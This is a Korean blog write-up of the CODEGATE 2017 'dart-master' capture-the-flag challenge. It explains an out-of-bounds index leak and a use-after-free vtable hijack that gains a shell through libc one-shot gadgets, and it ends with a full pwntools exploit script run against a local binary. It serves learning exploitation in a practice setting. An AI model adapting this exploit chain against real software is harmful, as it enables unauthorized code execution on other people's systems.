ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • 0x29.CODEGATE 2017 - dart-master
    0x.CTF 2018. 12. 27. 23:16

    0x29.CODEGATE 2017 - dart-master


    파일 & 소스 : https://github.com/pwnwiz/CTF/tree/master/dart-master


    취약점을 찾고도 익스부분때문에 후.. ㅋㅋㅋ 어쨌든 이제야 라업을 쓰게 된다. 그리고 이 말은 즉슨, SSG 워게임을 올클했다는 것을 의미한다.



    처음 바이너리가 시작되면 ID와 PASSWORD를 입력받고, 다음의 4가지 옵션중 하나를 입력받는 부분으로 진입을 하게 된다. 그리고 해당 부분이 실행되기 전에 아래의 함수가 호출이 된다.



    해당 함수를 보면 vtable을 구성하는 부분인 것같은데 해당 부분을 따라 들어가면 다음의 함수 주소들이 존재한다.



    그리고 해당 함수들의 위치는 특정 함수들을 호출할 때 offset으로 사용된다. 즉, 위의 메인에서 v18+16이라는 값은 해당 주소를 기준으로 0x204c78+16의 주소가 호출이 되는 형식이다.


    Login은 로그인을 할 수 있으며, 후에 여러 정보들을 열람할 수 있는 기능을 가지고 있다.



    해당 기능에서 다음의 부분에서 memory leak이 발생하는데 이는 아래의 부분에 의해서 발생한다.



    ID, Information 등의 정보를 보기 전에 사용자로부터 값을 입력받는데 해당 인덱스 값에대한 제대로된 검증을 진행하지 않는다. 그래서 500과 같은 큰 값을 집어넣어도 해당 메모리 주소에 값이 존재하면 출력을 해주기 때문에 이를 이용하여 arena, heap, base에 대한 leak이 가능하다.



    컴퓨터를 상대로 1번 이긴 뒤 Logout을 진행하면 operator delete(v18); 부분을 통해서 viable 구조체가 free가 된다. 하지만 1번 메뉴인 Login이 호출되기 전까지 해당 구조체는 UAF 환경에 놓이게 되고, delete를 통해 해당 fastbin 사이즈인 0x50만큼을 할당을 하게 되면 fake_vtable 부분을 덮어씌울 수 있게 된다.



    delete부분을 보면 operator를 통해서 ID의 값을 할당을 하는데, 해당 값의 크기를 0x50으로 조정을 하면 vtable의 위치에 대하여 재사용이 가능하다. 1번 Login이 호출되기 전까지는 새로 vtable을 할당하지 않기 때문에 원하는 주소로 rip를 컨트롤 할 수 있다.


    기존의 vtable이 Logout 이후에 operator delete를 만나 0x50사이즈로 free가 되었다.



    delete에서 ID의 값을 0x50만큼 맞춰서 입력을 해주면 기존의 free된 vtable을 덮을 수 있다.



    할당된 주소 값을 따라가보면 0x5646b1342db0이라는 주소가 적혀있는데, 해당 주소는 fake_vtable로 임의로 할당한 주소이다. 익스에서는 바이너리가 시작함과 동시에 생성한 아이디의 password의 주소를 사용하였다. 해당 부분은 Login 이후에 Manage 부분에서 임의로 수정이 가능하기 때문에 해당 값을 미리 수정해두고 vtable을 덮어씌워 2번 메뉴인 generate 부분의 함수 포인터를 해당 password 부분으로 변경하였다.



    그리고 해당 fake_vtable 부분은 아래와 같이 구성을 하였다.



    generate부분은 아래와 같이 더블 포인터의 형식으로 호출이 된다. 사실상 system 함수에 대한 인자값을 세팅하기는 어렵기 때문에 call rax 부분에 적절한 가젯을 넣어 oneshot을 호출해야 한다. 하지만 $rsp의 기준으로 oneshot을 바로 호출하기에는 조건이 맞지 않기 때문에 call을 여러번 수행하여 가젯의 조건을 맞춰주는 방식을 사용해야 된다.



    call rax가 호출되기 직전의 레지스터의 값은 다음과 같다.



    (*v18+16)의 위치에 0x384c의 주소를 집어넣게 되면 call rax 부분에서 *v18이 호출이 된다.



    *v18의 주소에 0x3877을 넣어주면 rax+0x18의 값 즉, *v18+24가 실행되게 된다.


    call은 jmp와 다르게 stack에 push를 하기 때문에 rsp에 대한 조절이 가능하고 oneshot가젯의 조건을 충족할 수 있다. 아래와 같이 call 호출시점에서 0x30, 0x50 등의 스택값이 0으로 세팅이 되었기 때문에 oneshot 가젯을 통해 쉘을 딸 수 있다.



    아래와 같이 flag를 확인하였다!! (special thanks to JCH again!!)



    익스플로잇 코드

    from pwn import *

    s = process('./dart_master')
    e = ELF('./dart_master')

    def Generate(ID, password, information, init='1'):
      if init == '1':
         s.sendline('2')
      s.recvuntil('Enter your ID : ')
      s.sendline(ID)
      s.recvuntil('Enter password : ')
      s.sendline(password)
      s.recvuntil('Confirm password : ')
      s.sendline(password)
      s.recvuntil('Enter information : ')
      s.sendline(information)
      s.recvuntil('> ')

    def Login(ID, password):
      s.sendline('1')
      s.recvuntil('Enter your ID : ')
      s.sendline(ID)
      s.recvuntil('Enter password : ')
      s.sendline(password)
      s.recvuntil('> ')

    def Delete(ID, password):
      s.sendline('3')
      s.recvuntil('Which ID do you wanna delete? ')
      s.sendline(ID)
      s.recvuntil('Please enter password : ')
      s.sendline(password)
      s.recvuntil('> ')

    def Practice():
      hit = 0
      s.sendline('1')
      s.recv()
      for i in range(10):
         s.sendline('1')
         s.recv()
         s.sendline('1')
         s.recv()
         s.sendline('1')
         s.recv()

    def Win():
      hit = 0
      s.sendline('2')
      s.recv()
      while(1):
         s.sendline('50')
         result = s.recv()
         if 'Hit' in result:
            hit += 1
            result
         if hit == 10:
            s.sendline('1')
            result = s.recv()
            result
            if 'Game Over!' in result:
               Win()
            break
         if 'Game Over!' in result:
            Win()
         elif '>' in result:
            break

    def change_password(password):
      s.sendline('3')
      s.recvuntil('> ')
      s.sendline('1')
      s.recvuntil('Enter new password : ')
      s.sendline(password)
      s.recvuntil('> ')
      s.sendline('5')
      s.recvuntil('> ')

    def see_my_info():
      s.sendline('3')
      s.recvuntil('> ')
      s.sendline('2')
      s.recvuntil('Number of victories : ')
      win_count = s.recv(1)
      s.recvuntil('> ')
      s.sendline('5')
      s.recvuntil('>')
      if win_count == '0':
         Win()
         see_my_info

    def see_other_info(index, choice, till):
      leak = 0
      s.sendline('3')
      s.recvuntil('> ')
      s.sendline('3')
      s.recvuntil('Which one do you wanna see? ')
      s.sendline(index)
      s.recvuntil('> ')
      s.sendline(choice) # card_ID, ID, Information, No of Victories
      s.recvuntil(till)
      if till == '0x':
         leak = int(s.recv(12), 16)
         #print str(hex(leak))
      else:
         leak = u64(s.recv(6)+'\x00'*2)
         #print str(hex(leak))
      s.recvuntil('> ')
      s.sendline('5')
      s.recvuntil('> ')
      return leak

    def Logout():
      s.sendline('3')
      s.recvuntil('> ')
      s.sendline('4')
      s.recvuntil('> ')

    def fake_allocate(data):
      s.sendline('3')
      s.recvuntil('Which ID do you wanna delete? ')
      s.sendline(data)
      s.recvuntil('> ')

    Generate('1', '1', '1', '0')
    Generate('2', '2', '2')
    Generate('3', '3', '3')

    Delete('3', '3')

    Login('1', '1')
    Practice()
    Win()
    Win()

    vtable_leak = see_other_info('6', '1', '0x') - 0x10
    vtable_generate = see_other_info('6', '3', 'Information : ')

    user_leak = see_other_info('0', '1', '0x')
    fake_vtable = user_leak + 240
    print "fake :", hex(fake_vtable)

    arena_leak = see_other_info('632', '1', '0x')
    print "arena :", hex(arena_leak)
    libc_leak = arena_leak - 0x3c4b78
    malloc_hook = libc_leak + 0x3c4b10 #free 0x3c67a8
    system = libc_leak + 0x45390
    oneshot = libc_leak + 0x4526a

    base_leak = see_other_info('618', '1', '0x') - 0x204c88

    print "base :", hex(base_leak)

    change_password(p64(base_leak + 0x3877) * 2 + p64(base_leak + 0x384c) + p64(oneshot))

    Logout()
    Delete('2', '2')

    fake_allocate(p64(fake_vtable)+p64(0)*6)
    s.sendline("2")

    s.interactive()


    '0x.CTF' 카테고리의 다른 글

    0x30.HITB-XCTF 2018 - gundam  (0) 2019.04.17
    0x28.BoB ctf - FMbug  (0) 2018.12.15
    0x27.Whitehat Quals 2017 - hacking_team_manager  (0) 2018.11.29
    0x26.WITHCON 2017 - combination  (0) 2018.11.22
    0x25.SSG - easy_linux_reversing  (0) 2018.11.09

    댓글

Designed by Tistory.